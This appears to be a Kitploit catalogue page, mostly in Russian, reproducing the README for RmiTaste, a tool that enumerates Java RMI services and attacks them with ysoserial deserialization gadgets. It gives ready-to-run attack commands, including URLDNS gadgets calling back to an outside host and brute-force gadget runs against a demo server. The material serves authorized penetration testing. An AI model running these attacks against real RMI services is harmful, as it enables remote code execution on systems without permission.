Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
RmiTaste — Java RMI инструмент для тестирования безопасности, предназначенный для обнаружения, перечисления и эксплуатации небезопасных RMI-сервисов с использованием ysoserial deserialization gadgets для достижения удаленного выполнения кода. | Kitploit
Инструменты/GitHubGitHub/stmcyber/rmitaste
Анализ уязвимостейЭксплуатацияТестирование на Проникновение
GitHubstmcyber/rmitaste

RmiTaste

Java RMI инструмент для тестирования безопасности, предназначенный для обнаружения, перечисления и эксплуатации небезопасных RMI-сервисов с использованием ysoserial deserialization gadgets для достижения удаленного выполнения кода.

РепозиторийСайт
10920115 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

License

RmiTaste

RmiTaste позволяет специалистам по безопасности обнаруживать, перечислять, взаимодействовать и атаковать RMI-сервисы путем вызова удаленных методов с гаджетами из ysoserial. Также позволяет вызывать удаленный метод с определенными параметрами.

Отказ от ответственности

RmiTaste был создан для помощи специалистам по безопасности в выявлении небезопасных RMI-сервисов в системах, на атаку которых у пользователя есть предварительное разрешение. Несанкционированный доступ к компьютерным системам незаконен, и RmiTaste должен использоваться в соответствии со всеми применимыми законами. Несоблюдение этого требования может привести к вашему преследованию. Разработчики RmiTaste не несут никакой ответственности и не отвечают за любое неправильное использование или ущерб, причиненный этой программой.

Сборка и запуск

Требуется openjdk 11.0.3.

  1. Скачайте ysoserial-master-SNAPSHOT.jar и сохраните его в каталог libs_attack (https://github.com/frohoff/ysoserial).
  2. Соберите проект с помощью maven:
    root@kitploit:~
    mvn package
    
  3. Выполните команду:
    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    
    
     __________        ._____________                __
     \______   \ _____ |__\__    ___/____    _______/  |_  ____
     |       _//     \|  | |    |  \__  \  /  ___/\   __\/ __ \
     |    |   \  Y Y  \  | |    |   / __ \_\___ \  |  | \  ___/
     |____|_  /__|_|  /__| |____|  (____  /____  > |__|  \___  >
           \/      \/                  \/     \/            \/
     @author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
    
    Warning: RmiTaste was written to aid security professionals in identifying the
             insecure use of RMI services on systems which the user has prior
             permission to attack. RmiTaste must be used in accordance with all
             relevant laws. Failure to do so could lead to your prosecution.
             The developers assume no liability and are not responsible for any
             misuse or damage caused by this program.
    
    

Использование

RmiTaste имеет 4 режима: conn, enum, attack и call. Каждый режим имеет отдельную справку.

root@kitploit:~
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
  -h, --help   display this help message
Commands:
  conn    check connection to host
  enum    enumerate RMI service
  attack  attack RMI registry methods
  call    call specific method on RMI remote object

Режим conn

Режим conn позволяет проверить, является ли порт портом RMI-сервиса.

root@kitploit:~
# Check if 127.0.0.1:1099 is RMI Service
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

Режим enum

Режим enum позволяет получить информацию об RMI-сервисе, такую как имена удаленных объектов и имена классов, которые реализует или расширяет удаленный объект. Если интерфейс, реализованный удаленным объектом, доступен в classpath RmiTaste, то RmiTaste выведет все удаленные методы, которые можно вызвать на этом удаленном объекте.

root@kitploit:~
# RMI service enumeration
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

Режим attack

Режим attack позволяет вызывать удаленный метод с определенной цепочкой гаджетов из ysoserial. Предположим, что удаленный объект имеет следующие методы: acc1 [object] [127.0.1.1:38293] implements java.rmi.Remote [interface] extends java.lang.reflect.Proxy [class] implements m0.rmitaste.example.server.ClientAccount [interface] setPin(java.lang.String param0); [method] Parameters: param0; may be vulnerable to Java Deserialization! [info] getBalance(); [method] deposit(java.lang.Object param0); [method] Parameters: param0; may be vulnerable to Java Deserialization! [info] withdraw(float param0); [method]

root@kitploit:~
# Call all remote methods with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
root@kitploit:~
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"

Опция "-gen bruteforce" позволяет перебирать удаленный метод с гаджетами из ysoserial. В этом примере метод deposit будет вызываться несколько раз с гаджетами из ysoserial.

root@kitploit:~
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with gadgets from ysoserial and command ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"

Режим call

Режим call позволяет вызывать определенный метод на удаленном RMI-объекте. Предположим, что удаленный объект имеет следующие методы: acc1 [object] [127.0.1.1:38293] implements java.rmi.Remote [interface] extends java.lang.reflect.Proxy [class] implements m0.rmitaste.example.server.ClientAccount [interface] setPin(java.lang.String param0); [method] Parameters: param0; may be vulnerable to Java Deserialization! [info] getBalance(); [method] deposit(java.lang.Object param0); [method] Parameters: param0; may be vulnerable to Java Deserialization! [info] withdraw(float param0); [method]

root@kitploit:~
# Call m0.rmitaste.example.server.ClientAccount.getBalance method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
root@kitploit:~
# Call m0.rmitaste.example.server.ClientAccount.setPin("1234") method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"

Примеры

Демонстрационный сервер доступен здесь.

  1. Запустите демонстрационный сервер.

  2. Просканируйте цель.

root@kitploit:~
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

Как видите, RmiTaste нуждается в интерфейсе удаленного объекта. Во время пентестов вам придется найти этот интерфейс. В этом примере просто скопируйте rmitaste.examples-1.0-SNAPSHOT-all.jar в каталог libs_attack. Повторите сканирование цели:

root@kitploit:~
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

Автор

Twitter: @_mzer0

Вдохновлено: BaRMIe и @h0ng10 статья

Скачать инструмент